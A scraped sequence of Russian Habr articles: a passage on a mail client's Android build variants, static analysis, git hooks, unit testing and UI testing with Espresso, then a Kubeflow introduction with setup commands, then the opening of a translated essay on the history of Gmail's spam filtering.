res.srcDirs = ['res_project3', 'res_ project23]
assets.srcDirs=['assets_project3']
java.srcDirs = ['src_project3']
manifest.srcFile 'res_ project23/AndroidManifest.xml'
}
project1 {
res.srcDirs = ['res_project1']
java.srcDirs = ['src_common']
assets.srcDirs=['assets_project1']
manifest.srcFile 'res_project1/AndroidManifest.xml'
}
testingUi {
manifest.srcFile 'ui_testing/AndroidManifest.xml'
}
}
```
Осталось дело за малым. В конфиге билд-проекта нужно запустить правильный таск для того, чтобы получить желаемую .apk, например, gradle assembleProject1PublicBeta. Естественно, при наличии такого большого числа вариантов сборки мы решили не собирать их все последовательно, а распараллелить этот процесс. Итого мы получили 6 параллельных работ, которые выполняются в рамках стадии сборки. Каждая работа публикует 3 артефакта на каждый продукт.
Предполагаю, что у тех, кто дочитал до этого момента, появился вопрос: а зачем же собирать бету и релиз при каждой сборке проекта? Вопрос, действительно, очень интересный. Мы пришли к этому решению не сразу, а спустя много времени. Исторически бета и релизные сборки строились отдельно, используя ту же ревизию либо контракт о том, что код там тот же самый. Потом мы поняли, что такой подход таит в себе много проблем, а самая неприятная заключается в том, что статус сборки ты узнаешь уже после того, как принял решение опубликовать бету. По закону Мерфи, естественно, билд оказывается красным. По любой причине. Чем больше изменений, тем больше вероятность того, что они негативно повлияют на сборку, причем мы не можем ничего с этим сделать. Можно только сократить временной интервал между моментом внесения ошибки и моментом ее обнаружения. А в идеальном случае еще и сделать это изолированно от общей ветки. Если абстрагироваться от проекта и сборки именно бета или релизной версии и посмотреть на процесс автоматизации, то одним из основных показателей качества всего подхода к автоматизации билд-процесса мне сейчас видится, наверное, возможность узнать о возникших проблемах максимально быстро, а самое главное — узнать ДО того, как эти изменения попали в общую ветку.
Проверка
========
Автоматическая проверка качества в мобильных приложениях — это, безусловно, тренд последнего года. По моему опыту, для многих это остается чем-то нереальным. Все об этом говорят, но практически никто не видел. Мы занимаемся такими задачами в рамках нашего проекта уже 2 года, и за это время уже сложилось довольно четкое понимание большинства тонкостей, с которыми приходится сталкиваться любому разработчику. Все эти проблемы и решения являются достаточно новым и неустоявшимся сегментом для мобильных приложений, хотя веб уже давно прошел этот путь и имеет достаточное количество стандартизированных решений.
Первый вопрос, который возникает у большинства: что же мы будем автоматизировать? Разработчик ответит: мы будем тестировать код, менеджер тут же начнет спорить, что тестировать нужно функционал. Я считаю, что тестировать нужно и то и другое.
Вообще, если говорить о нашем приложении, то все проверки делятся на несколько категорий:
* **Статический анализ**: я не знаю, почему этому подходу уделяется так мало внимания, это очень мощный инструмент, позволяющий применять формализованные правила ко всему проекту, а не к отдельным классам;
* **UnitTesting**: старые добрые юнит-тесты, которые позволяют убедиться в том, что класс работает именно так, как ожидает разработчик или пользователь этого класса;
* **UiTesting**: функциональные/end-to-end тесты, которые проверяют конечный результат: то, что увидит пользователь, и как он будет с этим работать.
### Статический анализ
В качестве статического анализатора мы используем уже готовые решения. Для Android это Lint, который стал за последнее время весьма эффективным инструментом, позволяющим следить за качеством android-specific кода, ресурсов разметки, графики и т.д. Помимо всего прочего, он позволяет добавлять свои проверки, специфичные для контракта внутри проекта. Одним из таких контрактов является то, что никакие layout-related параметры не должны находиться в стилях. Например, свойства layout\_margin\ layout\_alignParentTop или что-то подобное. С точки зрения синтаксиса никто не запрещает выносить эти свойства в стили, но в таком случае сам стиль используется не для определения визуальной составляющей какого-то UI-компонента, а для хранения каких-то значений, которые потом можно не писать в файле разметки. Другими словами, стиль используется как контейнер атрибутов. Мы решили, что это разные вещи, которые стоит разделять, потому что, во-первых, LayoutParams все-таки относятся к разметке, а во-вторых, они относятся не к тому контролу, в тэге которого эти атрибуты прописываются, а к его паренту, в котором он лежит.
Если разобраться, то в любом более или менее состоявшемся проекте, в котором есть гайды по написанию кода, ресурсов разметки, присутствуют шаблоны для решения типичных для этого приложения задач, таких вещей достаточно много. Их можно отслеживать на этапе код-ревью, документировать, напоминать о них каждый раз в начале рабочего дня или же рассчитывать на то, что, однажды ознакомившись с этими пожеланиями, в дальнейшем все будут их выполнять. Как говорится, блажен кто верует, но лично мне намного спокойнее работать, зная, что я сам об этом не забуду и ничего не пропущу, торопясь скорее закрыть надоевший таск. Нужно формализовать такие проверки, добавить их в процесс сборки с удобными отчетами и не беспокоиться о том, что, взявшись за новую задачу, ты неожиданно обнаружишь проскочивший все проверки код, от которого волосы дыбом встают.
Писать свои проверки достаточно легко, даже увлекательно. По ходу добавления любых статических проверок сразу появляется куча идей, как статически выявлять какие-то другие проблемы. Для Lint в этом помогут гайды и официальная документация. Разрабатывать правила можно прямо в Android Studio.
[tools.android.com/tips/lint-custom-rules](http://tools.android.com/tips/lint-custom-rules)
[tools.android.com/tips/lint/writing-a-lint-check](http://tools.android.com/tips/lint/writing-a-lint-check)
Для java-кода также есть давно изобретенные статические анализаторы. Я не буду перечислять все, расскажу только о том, что мы используем FindBugs. Когда мы выбирали инструмент, то хотели получить удобный формат, достаточный объем правил, по которым будет осуществляться проверка, и возможность добавления своих правил. На данный момент мы написали необходимые проверки, такие как проверка закрытых курсоров, проверка того, что инстанс AccountManager’a получается всегда с application context’ом, проверка того, что обязательный для вызова метод onEventComplete вызывается при шаблонных использованиях класса событий, и другие. Добавлять свои правила, которые будут определять внутрикомандные договоренности, предотвращать распространенные ошибки из-за невнимательности — это отличная практика, которая сокращает время на код-ревью и тестирование, а также гарантирует, что такие ошибки как минимум не попадут в будущем в продакшн-версию приложения. В качестве пособия по написанию проверок мы использовали статью [FindBugs, Part 2: Writing custom detectors](http://www.ibm.com/developerworks/library/j-findbug2/). Там наглядно показано, как создавать свой плагин, добавлять детекторы и использовать это в процессе проверки. Отчет предоставляется либо в отформатированном HTML-документе, либо в виде XML-отчета, где коротко и по делу написано, в каком классе/методе найдена ошибка, код ошибки, строка и т.д. Этого обычно достаточно, чтобы понять, где ты только что не убрал за собой :-).
Замечательно, не правда ли? Огромный набор правил и распространенных ошибок уже готов, есть и возможность его дополнить, остается только найти в себе смелость и приступить к использованию.
Однажды я обратил внимание на то, что в нашем проекте используются SNAPSHOT версии библиотек. Очевидно, что это допустимо только в бранче для задачи, когда эти изменения вносятся в используемую библиотеку. После того как код влит в основную ветку, никаких SNAPSHOT’ов в проекте быть не должно. В данном случае причина достаточно прозаична и характеризует большинство подобных ошибок. После того как задачу протестировали и решили, что эта версия достигла всех definition of done, разработчик был настолько счастлив, что забыл влить библиотеку в основную ветку, определить новую версию этой библиотеки и поменять версию в основном проекте. Проблема в том, что ни Lint, ни FindBugs не могут проверить скрипт сборки. Более того, даже если эти проверки добавить в сам build.gradle, то необходимо знать, где это допустимо, а где нет. Очевидно, что это допустимо в бранче, в котором сейчас и меняется библиотека, но недопустимо после того, как он попадает в общую ветку. Вот так мы начали использовать git pre-receive хуки для того, чтобы следить за происходящим в проекте на уровне репозитория.
Я знаю, что многие команды не считают нужным тратить время на настройку правил, подходящих для проекта на уровне системы контроля версий, т. к. “у нас нет дураков, никто не будет удалять все ветки в репозитории”, или по каким-то другим причинам, например, из-за нехватки времени. Для нас это пройденный этап: мы пришли к решению, что лучше потратить немного больше времени, но быть уверенными в безопасности и качестве продукта. Для этих целей pre-receive хуки подходят очень хорошо: мы можем определить, что изменения добавляются в общую ветку, и проверить, что HEAD этой общей ветки не содержит нежелательного кода. В лучшем случае никто никогда не узнает о наличии такой проверки, но, как показывает практика, достаточно случайной ошибки, чтобы появилась возможность знатно проколоться. Pre-receive hook отлично подойдет для проверки всех исправленных TODO и FIXME, которые разработчик охотно расставляет, но забывает исправить. Он, также, прекрасно справляется с типичными проблемами логирования, — добавлением вывода new Throwable() ко всем интересующим разработчика функциям, потому что в ветке нашелся очень сложный и требующий множества деталей баг. Для нас, возможность отслеживать совершенные ошибки автоматически важна для понимания того, что мы не наступим еще раз на те же грабли. Ошибки совершают все, важно лишь какие выводы ты после этого делаешь. Наш вывод состоит в том, что помимо исправления, нужно приложить усилия к тому, чтобы эти ошибки впредь не совершать.
### Unit Testing
Здесь по большому счету все обыденно. Для некоторых классов написаны проверки, которые позволяют убедиться, что класс работает именно так, как задумывалось, и заодно показывают клиенту класса пример, как им можно воспользоваться. В данный момент юнит-тесты запускаются на реальных устройствах но не устанавливают реальное соединение, если это необходимо. Кстати, о необходимости устанавливать соединение: когда разработчик размышляет, как тестировать тот или иной модуль, чаще всего он первым делом думает, каким образом подменить зависимости класса, чтобы изолировать тестирование от действующей среды. В случае с сетевым соединением это может показаться непростой задачей, потому что сетевое взаимодействие не заменяется вызовом одного метода, требует мокать целый слой логики. Мы некоторое время сопротивлялись тому, чтобы с помощью хука в коде приложения подменять ответ сервера и выполнять все последующие действия с ним. Дело в том, что такой подход увеличивает риск того, что тестироваться будет не тот код, который работает в боевом приложении. Каждый раз, когда встает вопрос, стоит ли менять интерфейс класса для удобства тестирования, стоит ли добавлять в процесс выполнения функции дополнительные условия, чтобы «замокать» какие-то зависимости, я стараюсь придерживаться следующей позиции: в первую очередь весь написанный код должен быть безопасен с точки зрения функций приложения. Если дополнительные условия, добавленные в код, требуют отдельной проверки, то для тестов не нужно этого делать. Это главная причина, по которой нас не устроил обычный сеттер, который бы просто заменял ответ, брал бы его из другого источника.
В итоге мы пришли к другому решению, на мой взгляд, более честному. Вот так выглядит один из тестов, который проверяет, что при определенном ответе команда выдает статус “error\_folder\_not\_exist”
```
@AcquireCookie
@LargeTest
public void testDeleteNonExistingFolder() {
DeleteFolder delete = runDeleteFolder(999);
assertERROR_FOLDER_NOT_EXIST(delete);
}
```
В этом тесте мы делаем честный запрос на сервер, то есть команда работает абсолютно так же, как и в приложении. Проблема в том, что юнит-тест зависит от того, как настроена сеть на устройстве, на котором он выполняется. А ниже идет второй тест, который проверяет абсолютно то же самое, но уже подставляя желаемый ответ, не выполняя реального запроса и не взаимодействуя с сервером.
```
@MockMethod(response = RESPONSE_NOT_EXISTS)
public void testDeleteNonExistingFolderMock() {
testDeleteNonExistingFolder();
}
```
Таким образом, мы имеем возможность управлять выполнением тестов — это нужно, например, для того, чтобы статус билда не учитывал ответ сервера. Мы полагаемся на то, что протокол взаимодействия описан, и, убедившись в корректности формирования запроса (с помощью юнит-тестов, разумеется), можем быть уверены, что сервер даст корректный ответ. А при корректном ответе остается лишь убедиться в том, что приложение его интерпретирует соответствующим образом. Однако, например, для ночной сборки неплохо было бы убедиться еще и в том, что не нарушен контракт взаимодействия с сервером. Для этого будут запускаться все тесты, в том числе и те, которые реально с ним взаимодействуют. Это даст нам дополнительную подушку безопасности на случай, если из-за какого-то бага контракт взаимодействия с сервером нарушен. Мы узнаем об этом из результатов тестов, а не из пользовательских отзывов в маркете. Если для нас так важно проверять функционал от начала до конца, то можно сделать эти тесты основными и выполнять их для каждой сборки приложения.
Дело в том, что мы не хотим постоянно зависеть от сервиса, но при этом нам нужно мониторить ситуацию и в виде ежедневных отчетов получать информацию о том, что все хорошо, или же о том, что какая-то часть приложения не в порядке. Здесь я предпочитаю разделять наше приложение и сторонние сервисы, которые критичны для его полноценной работы, но не являются зоной нашей ответственности. Мы можем обнаружить в нашем приложении проблему, связанную с работой стороннего сервиса, но не можем ее исправить. Наша задача состоит в том, чтобы сообщить о проблеме, дождаться исправления и прогнать тесты на работу с этим сервисом, чтобы убедиться в том, что проблема устранена.
### UI Testing
С точки зрения пользователя, это самые честные тесты. С точки зрения разработчика — самые сложные. Самые честные, потому что тестируют конечный продукт, а не какую-то его часть. Свалить вину на кого-то другого не выйдет: любой баг — это баг приложения, и неважно, в чем его причина, в несовершенстве Android в кривых руках другого разработчика или в чем-то еще. В любом случае, ошибку нужно исправить. К преимуществам такого black-box тестирования можно отнести и то, что для нас, по сути, нет разницы, как реализован функционал, какая архитектура у приложения и т. д. Если два бага в приложении наложились друг на друга, и в итоге пользователь увидел правильный результат — нас это устраивает. Если во всем множестве случаев баги приложения позволяют получать корректные результаты для пользователя — нас это устраивает с точки зрения проверки функционала.
Если юнит-тесты проверяют, работает ли код именно так, как задумывал разработчик, то UI-тесты скорее предназначены для того, чтобы продуктовая команда убедилась в корректности выполнения пользовательских сценариев в приложении.
На пользовательские сценарии также завязаны и баги. Один из лучших способов исправить баг приложения, получив сценарий его воспроизведения, — написать тест. Убедиться в том, что проблема присутствует. Исправить проблему в коде приложения (если нужно, то сопроводить дополнительными юнит-тестами на модуль, в котором какое-либо поведение не было закрыто) и удостовериться, что теперь тест проходит успешно. В этом случае нет необходимости задействовать весь бюрократический аппарат, в котором несколько человек должны проаппрувить, что баг исправлен, что ничего нового не сломалось и т. д. Вся соль в том, что если тест написан вдумчиво, и именно с целью обнаружения и выявления проблемы, то в случае его успешного прохождения уже есть повод считать проблему решенной. Чем больше таких кейсов закрыто тестами, тем качественнее проверка, потому что тем выше вероятность, что мы ничего не упустили.
Конечно, сделать все это намного сложнее, чем сказать. Но обо всем по порядку: начнем с выбора фреймворка, на основе которого мы будем строить свои тесты. Опять же, я не открою Америку, написав, что фреймворков сейчас достаточно много, но нельзя посоветовать какой-то один, который решит 99% всех проблем. Можно начать писать собственный идеальный фреймворк, сделав ставку на то, что ваш коэффициент кривизны рук меньше, чем у конкурентов, и надеясь, что через месяц все ваши проблемы будут решены, а через полгода, посчитав стоимость такого решения, вернуться к этому выбору вновь. Я не очень люблю делать чужую работу, и, возможно, поэтому считаю такой подход утопическим. Утопией мне видится и кроссплатформенное тестирование, потому что слишком велики различия между Android и iOS. Написать один набор тестов, который будет проверять и одно приложение, и другое, кажется очевидным решением только на первый взгляд. Разная навигация внутри приложения, разная разметка в рамках одного экрана, разное поведение системы в ответ на сворачивание приложения, не говоря уже о том, что даже функционал может отличаться, потому что любой качественный продукт будет учитывать все особенности платформы для того, чтобы предоставить пользователю наилучший опыт.
Исторически мы в проекте использовали Robotium. Это весьма известное решение, которое используется большим количеством команд как у нас в стране, так и за рубежом. Интересно, что всех его пользователей объединяет горячая нелюбовь к этому самому фреймворку. Он медленный, нестабильный, на нем неудобно писать тесты. Но все, тем не менее, регулярно возвращаются к его использованию. То ли дело Espresso! Он быстр как ветер, стабилен как экономика Соединенных Штатов и т. д. Вот что делает репутация поискового гиганта с проектами, которые он взял под свое крыло. Мы писали на Robotium 2 года, поэтому я могу довольно уверенно сказать, что ответственность за нестабильность и низкую скорость лежит скорее на клиенте, который пишет эти тесты. Давайте в этом разберемся. Причина проблем со скоростью зачастую кроется не в несовершенстве алгоритмов Robotium, не в его архитектуре, а в том что в тестах есть злоупотребление так называемым Sleep Pattern’ом. Суть его заключается в том, что любую проблему можно решить, добавив sleep(N \* 1000) перед той строчкой, где проблема была обнаружена. В основе этого лежит следующая простая вещь: тесты выполняются в потоке, отличном от главного потока приложения (UI Thread). Соответственно, синхронизация, которая выполнена с помощью Sleep(), не является хорошим решением проблемы. Отсюда итог: хоть 10 секунд жди между шагами в тестах, результат гарантирован не будет. В Instrumentation-based тестах есть штука, которая ждет, когда же UI Thread приложения закончит операции, которые сейчас находятся в процессе. Класс android.app.Instrumentation имеет метод:
```
/**
* Synchronously wait for the application to be idle. Can not be called
* from the main application thread -- use {@link #start} to execute
* instrumentation in its own thread.
*/
public void waitForIdleSync() {
validateNotAppThread();
Idler idler = new Idler(null);
mMessageQueue.addIdleHandler(idler);
mThread.getHandler().post(new EmptyRunnable());
idler.waitForIdle();
}
```
Его использование, как мы на своем опыте убедились, решает большинство проблем с тем, что View не найдена, хотя скриншоты показывают, что все отображается, а также с тем, что View находится в промежуточном состоянии, анимируя свои свойства от одного значения к другому и т.д.
Естественно, истории о том, что Espresso многократно лучше, не давали нам покоя. План по переходу на этот фреймворк созрел давно; к тому же Google сейчас уделяет достаточно много внимания вопросу автоматизированного тестирования, поэтому есть предпосылки к тому, что Espresso будет развиваться активнее. Решимости добавили и убеждения Lead developer’а в том, что для перехода с Robotium на Espresso достаточно поменять TestRunner. Мы попробовали, и тесты действительно работали. Теперь мы можем, не меняя старых тестов за раз, писать новые сценарии и при этом пользоваться всеми преимуществами Espresso. Для нас это определило переход на рельсы нового фреймворка. Мы запустили тесты и замерли в ожидании результатов.
Espresso действительно оказался быстрее, хотя драматических изменений не произошло. Сейчас все наши тесты разбиты на ~26 пакетов, и в каждом было замечено ускорение. Но суммарные изменения в скорости прохождения тестов укладываются в 4%. На мой взгляд, это не является существенным преимуществом. Намного больше, с моей точки зрения, дает возможность писать аналог waitForIdleSync для любого ожидания в приложении: не только для задач интерфейса и анимации, но и для задач загрузки данных из сети и с диска — для любых взаимодействий, результатом которых мы должны оперировать, делая проверку в коде теста. Эта фича называется CustomIdlingResource и она действительно очень выгодно выделяет Espresso по сравнению с Robotium. Несмотря на то, что идея очень простая, а именно — дать возможность зарегистрировать свою реализацию интерфейса ожидания idle состояния, custom idling resource позволяет управлять синхронизацией между тестами и приложением. Таким образом можно дожидаться, когда в приложении пройдут все асинхронные операции, например, что в совокупности с idle состояние главного потока, говорит о том, что ожидание можно заканчивать и приступать к проверкам состояния приложения.
Естественно, Espresso — это не сказочный джинн. Он не может решить все ваши проблемы, он не способен написать тесты за вас, и он не в силах выполнять задачи по поддержанию тестовой инфраструктуры, запуску тестов и сбору отчетов.
Помимо тестирования непосредственно функционала внутри приложения, распространенная задача, которую приходится решать в контексте автоматизированной проверки качества, — это взаимодействие вашего продукта с другими приложениями, которые могут быть установлены на телефоне пользователя. В качестве примера можно взять, например, Sharing из другого приложения (для почтового клиента это достаточно актуально) или статус-бар уведомления. В обоих случаях сценарий затрагивает другое приложение, которое работает в другом процессе. Все Robotium/Espresso-подобные фреймворки становятся слепыми, как только дело касается другого процесса. К счастью, решение, которое позволяет писать cross-app functional UI tests, уже существует и называется UI Automator. Если раньше пришлось бы выбирать между тем или иным фреймворком либо поддерживать разные проекты, каждый из которых будет заточен под разные проверки, то с релизом Testing Support Library, анонсированной на минувшей конференции Google I/O 2015, мы можем объединить преимущества каждого подхода и использовать тот инструментарий, который потребуется в каждом отдельном случае. Это означает, что для почтового клиента, к примеру, мы можем автоматизировать такой сценарий:
1. Запустить приложение, перейти в список писем.
2. Открыть написание нового письма, ввести тему, получателя, прикрепить вложения.
3. Получить push-уведомление на подключенный ящик.
4. Перейти по уведомлению, проверить содержимое нового письма.
5. Выйти с экрана нового письма по back-кнопке.Удостовериться, что мы вернулись на экран написания письма, и что все заполненные поля сохранены.
В данном примере мы можем спокойно пользоваться прежним фреймворком для того, чтобы переходить по моделям списка писем, чтения письма, написания нового письма и т.д., а для шагов 3 и 4 мы можем использовать uiAutomator framework, чтобы проверить текст уведомления, убедиться, что в уведомлении присутствуют необходимые кнопки, и перейти по уведомлению в приложение. Затем тест будет дальше использовать API Espresso, и нам не придется писать еще одну реализацию существующих моделей под второй фреймворк. Для меня как для разработчика это лучшая новость, которая могла появиться в контексте библиотек для автоматизации тестирования.
Конечно, все это кажется несложным лишь на первый взгляд. За кадром осталась куча собранных граблей и наступание в самые неприятные субстанции — порой казалось, что вся эта идея просто не может быть реализована.
В дальнейшем мы отдельно расскажем о том, как выстроена инфраструктура, как обеспечивается круглосуточная готовность устройств к работе, как распределяются тесты на разные product flavors по разным сборкам, как тестируются разные реализации в зависимости от версии операционной системы, форм-фактора устройства и т.д. Ведь у нас за плечами такие долгие два года борьбы с adb, usb, VirtualBox и многими другими инструментами и технологиями. Впереди осталось больше работы, чем уже проделано, но мы понимаем, что все это было не зря.
P.S. Мы [ищем](https://corp.mail.ru/ru/jobs/vacancy/865/) Android-разработчика в команду Почты. Если вакансия вас заинтересовала — смело пишите [Марии](mailto:m.zyaparova@corp.mail.ru). | https://habr.com/ru/post/273781/ | null | ru | null |
# Kubeflow: новый проект для работы с машинным обучением в Kubernetes
Разработчики Google [объявили](https://jaxenter.com/kubeflow-ml-kubernetes-139610-139610.html) о запуске нового проекта Kubeflow. Проект упрощает работу с машинным обучением, предоставляя необходимый инструментарий для масштабирования и настройки системы в среде Kubernetes. В статье расскажем:
* о компонентах Kubeflow;
* как начать работу с решением;
* о перспективах проекта.
[](https://habrahabr.ru/company/it-grad/blog/347042/)
*/ фото [Michael Hicks](https://www.flickr.com/photos/mulad/3357625375/) [CC](https://creativecommons.org/licenses/by/2.0/)*
В 2017 году произошли две вещи. Первая: Kubernetes [зарекомендовал](https://news.ycombinator.com/item?id=12462261) себя как стандарт для работы с кластером контейнеров. Это подтверждает [опрос](https://portworx.com/2017-container-adoption-survey/) Portworx от 2017 года, в котором приняли участие 490 ИТ-специалистов из разных отраслей: Kubernetes используется как инструмент оркестровки контейнеров [чаще](https://portworx.com/wp-content/uploads/2017/04/survey-schedulers.png), чем Docker Swarm, Amazon ECS или Azure Container. Вторая — машинное обучение, по [мнению](https://www.gartner.com/smarterwithgartner/top-trends-in-the-gartner-hype-cycle-for-emerging-technologies-2017/) Gartner, оказалось на пике популярности.
Два этих фактора [побудили](http://blog.kubernetes.io/2017/12/introducing-kubeflow-composable.html) Google создать Kubeflow — открытый проект, который упрощает работу с МО в Kubernetes и [перенимает](https://www.techleer.com/articles/454-release-of-a-new-machine-learning-toolkit-by-kubernetes-kubeflow/) все [достоинства](https://jaxenter.com/kubeflow-ml-kubernetes-139610-139610.html) этого инструмента оркестровки: возможность развёртки на разнообразной инфраструктуре (от ноутбука до продакшн-кластера), управление слабосвязанными микросервисами (loosely-coupled micro services) и масштабирование по требованию.
Компоненты Kubeflow
-------------------
Код проекта хранится в [Github-репозитории](https://github.com/google/kubeflow). Там вы найдете следующие компоненты:
* [JupyterHub](https://jupyterhub.readthedocs.io/en/latest/) — сервер для создания и управления интерактивной средой [Jupyter Notebook](http://jupyter-notebook-beginner-guide.readthedocs.io/en/latest/what_is_jupyter.html). С помощью JupyterHub можно делиться notebook-файлами, которые позволяют хранить вместе код, изображения, комментарии, формулы и диаграммы.
* Tensorflow [Custom Resource (CRD)](https://kubernetes.io/docs/concepts/api-extension/custom-resources/), который может быть настроен для работы с центральными или графическими процессорами и подстроен под размер кластера.
* Контейнер для [Tensorflow Serving](https://www.tensorflow.org/serving/) — гибкой системы для развертки моделей машинного обучения в продакшн-среде. Компонент интегрируется с Tensorflow-моделями «из коробки», но подходит и для иных моделей и данных.
Разработчик программного обеспечения из компании Container Solutions Филип Уиндер (Philip Winder) [отмечает](https://blogs.dxc.technology/2018/01/04/kubeflow-machine-learning-comes-to-kubernetes/), что Kubeflow — это гибрид JupyterHub и Tensorflow. В нем Tensorflow служит универсальным механизмом графовых вычислений, который позволяет программистам абстрагироваться от железа и использовать один код для работы с CPU и GPU. Именно поэтому одну и ту же модель можно развернуть как на ноутбуке, так и в облачном кластере.
Начало работы с Kubeflow
------------------------
Для быстрого старта понадобятся:
* ksonnet версии [0.8.0](https://github.com/ksonnet/ksonnet/releases) и старше;
* Kubernetes версии 1.8 (в нашем корпоративном блоге можно [найти](http://iaas-blog.it-grad.ru/funkcionalnost/organizaciya-blokchejn-na-vmware-vsphere-ot-teorii-k-praktike/) руководство по его настройке).
Для [начала](https://github.com/google/kubeflow) работы с Kubeflow, нужно выполнить следующие команды:
```
# Задаем значение ksonnet APP
APP_NAME=my-kubeflow
ks init ${APP_NAME}
cd ${APP_NAME}
# Устанавливаем компоненты Kubeflow
ks registry add kubeflow github.com/google/kubeflow/tree/master/kubeflow
ks pkg install kubeflow/core
ks pkg install kubeflow/tf-serving
ks pkg install kubeflow/tf-job
# Развертываем Kubeflow
ks generate core kubeflow-core --name=kubeflow-core --namespace=${NAMESPACE}
ks apply default -c kubeflow-core
```
Эти команды настраивают JupyterHub и Custom Resource для работы с обучающими выборками в TensorFlow. Кроме того, ksonnet-пакеты предоставляют прототипы для конфигурации задач TensorFlow и развертывания TensorFlow-моделей.
Подробные инструкции по использованию Kubeflow можно найти в [официальном руководстве](https://github.com/google/kubeflow/blob/master/user_guide.md). [Здесь](http://blog.kubernetes.io/2017/12/introducing-kubeflow-composable.html) можно ознакомиться с инструкцией от разработчиков, а [тут](https://www.katacoda.com/kubeflow) – опробовать Kubeflow в браузере прямо сейчас.
Кстати, Майкл Хаузенблас (Michael Hausenblas), разработчик из Red Hat и соавтор книги [Kubernetes Cookbook](http://shop.oreilly.com/product/0636920064947.do), создал [сайт](http://kube-machine-learning.rocks/) в помощь тем, кто работает с машинным обучением в Kubernetes. Там можно найти обзор основных инструментов и туториалы, в том числе и для Kubeflow.
Что дальше
----------
Проект Kubeflow уже [поддержали](http://blog.kubernetes.io/2017/12/introducing-kubeflow-composable.html) многие лидеры индустрии: CaiCloud, Red Hat, Canonical, Weaveworks, Container Solutions и другие.
Разработчики Дэвид Арончик (David Aronchick) и Джереми Льюи (Jeremy Lewi), которые работают в Google над Kubeflow, утверждают, что это только начало. В дальнейшем команда планирует привлекать больше партнеров, популяризировать идею и совершенствовать проект. Следить за развитием Kubeflow можно в канале [Slack](https://kubeflow.slack.com/join/shared_invite/enQtMjgyMzMxNDgyMTQ5LWUwMTIxNmZlZTk2NGU0MmFiNDE4YWJiMzFiOGNkZGZjZmRlNTExNmUwMmQ2NzMwYzk5YzQxOWQyODBlZGY2OTg), подписавшись на [email-рассылку](https://groups.google.com/forum/#!forum/kubeflow-discuss) и в [Twitter](https://twitter.com/kubeflow).
---
P.S. Еще три материала из Первого блога о корпоративном IaaS:
* [Организация блокчейн на VMware vSphere: от теории к практике](http://iaas-blog.it-grad.ru/funkcionalnost/organizaciya-blokchejn-na-vmware-vsphere-ot-teorii-k-praktike/)
* [Топ-4 рекомендаций к модернизации СХД](http://iaas-blog.it-grad.ru/zhelezo/top-4-rekomendacij-k-modernizacii-sxd/)
* [IaaS: Первые шаги после аренды облачной инфраструктуры](http://iaas-blog.it-grad.ru/funkcionalnost/iaas-pervye-shagi-posle-arendy-oblachnoj-infrastruktury/) | https://habr.com/ru/post/347042/ | null | ru | null |
# Современные спам фильтры и End-to-End шифрование
Привет
======
Тревор (*пер:* — насколько я понял, речь идёт о [Trevor Perrin](http://trevp.net)) попросил написать свои мысли по поводу … спам фильтров и сквозного (end-to-end) шифрования, чтобы вся информация была собрана в одном сообщении, а не разбросана по всему форуму. В частности, он попросил сдампить мои знания по следующим темам:
* Как сейчас работают спам-фильтры в крупных почтовых сервисах?
* Как повлияет широкое распространение сквозного E2E шифрования?
* Что можно перенести на клиента (а также вытекающие плюсы и минусы)?
* Реально ли это проделать с электронной почтой?
* Что изменится при переходе от электронной почты к другим асинхронным системам (например, чатам) или новым протоколам; то есть, проблемы спама — это проблемы email протокола или глобальный изъян системы?
Кратко опишу свой опыт в данной сфере, чтобы уточнить компетенции: я (*пер.:* — [страница на Google+](https://plus.google.com/+MikeHearn/about)) работал в Google 7 с половиной лет. Из них 4,5 года я работал в команде безопасности GMail, которая очень плотно связана с анти-спам командой (они используют те же приложения, те же системы оповещения).
Где-то с 2010 года мы дали хороший отпор спамерам, в результате они не смогли зарабатывать деньги, используя старые методы. Некоторые из них перешли ко взлому аккаунтов в промышленных масштабах с использованием скомпроментированных паролей. Потом с этих взломанных учётных записей рассылался спам. Я был техническим руководителем (tech lead) новой команды борьбы с угонами аккаунтов. Мы потратили 2,5 года на борьбу с угоном учётных записей. В начале 2013 года мы [объявили о своей победе](http://googleblog.blogspot.ch/2013/02/an-update-on-our-war-against-account.html), а через несколько месяцев Эдвард Сноуден опубликовал информацию о том, что NSA/GCHQ [прослушивало систему безопасности](http://www.theguardian.com/technology/2013/nov/06/google-nsa-gchq-spying-judicial-process), которую мы разработали.
С тех пор похоже всё затихло. Можно сказать, что с точки зрения GMail была одержана победа над спамом … по крайней мере на текущий момент.
Если вы предпочитаете видео, то несколько лет назад я делал доклад на конференции RIPE64 в Любляне: [ripe64.ripe.net/archives/video/25](https://ripe64.ripe.net/archives/video/25/)
В январе я покинул Google чтобы посвятит всё свободное время Bitcoin’у. Сейчас я работаю над проектом приложения для P2P краудфандинга, которое позволит находить финансирование используя децентрализованную структуру.
Итак, поехали.
Краткая история спамерской войны
================================
В начале было … регулярное выражение. Gmail действительно поддерживает фильтрацию по регулярным выражениям, но только как крайнюю меру. С ними легко наделать ошибок. Однажды мы заблокировали письмо от несчастной итальянки по имени «Oli**via Gra**dina» (*пер.:* — увидели намёк на силденафил?). Плюс такой подход плохо поддерживает интернационализацию и легко обходится рандомизацией.
Потом Email сообщество начало составлять списки плохих IP адресов и обмениваться ими. Так появился Spamhouse. Такой подход давал свои плоды, потому что обесценивались ресурсы, за которые спамеры платили деньги. Но вокруг списков велись ожесточённые сражения, потому что хранители чёрных списков становились судьями, жюри присяжных и палачами в вопросах потоков писем. Оказалось, вопрос «Что есть спам, а что нет» — очень спорный. Многие списки рассылок не считали себя спамерами, но в отсутствие чёткого определения, они иногда попадали в чёрные списки.
Чтобы обойти RBL (Realtime Blocking List) спамеры начали использовать ботнеты. В ответ борцы со спамом построили карту интернета и сформировали «Список политик блокировок» (PBL, Policy Block List) — диапазоны IP адресов, которые были привязаны к жилым подсетям, и поэтому в принципе не должны заниматься отправкой почты. Ботнеты генерируют невероятные объёмы спама, но этот спам проще всего фильтровать. Во времена моей работы в GMail в команде спама и угроз безопасности на борьбу с ботнетами тратилось очень мало времени.
Итак, появились веб-почтовики по типу GMail. Самая первая версия GMail просто использовала spamassassin. Но такой подход был быстро признан недостаточно хорошим, и мы построили свой фильтр. Архитектура фильтра в GMail была описана в научной статье 2006 года: [Sender Reputation in a Large Webmail Service](http://ceas.cc/2006/19.pdf).
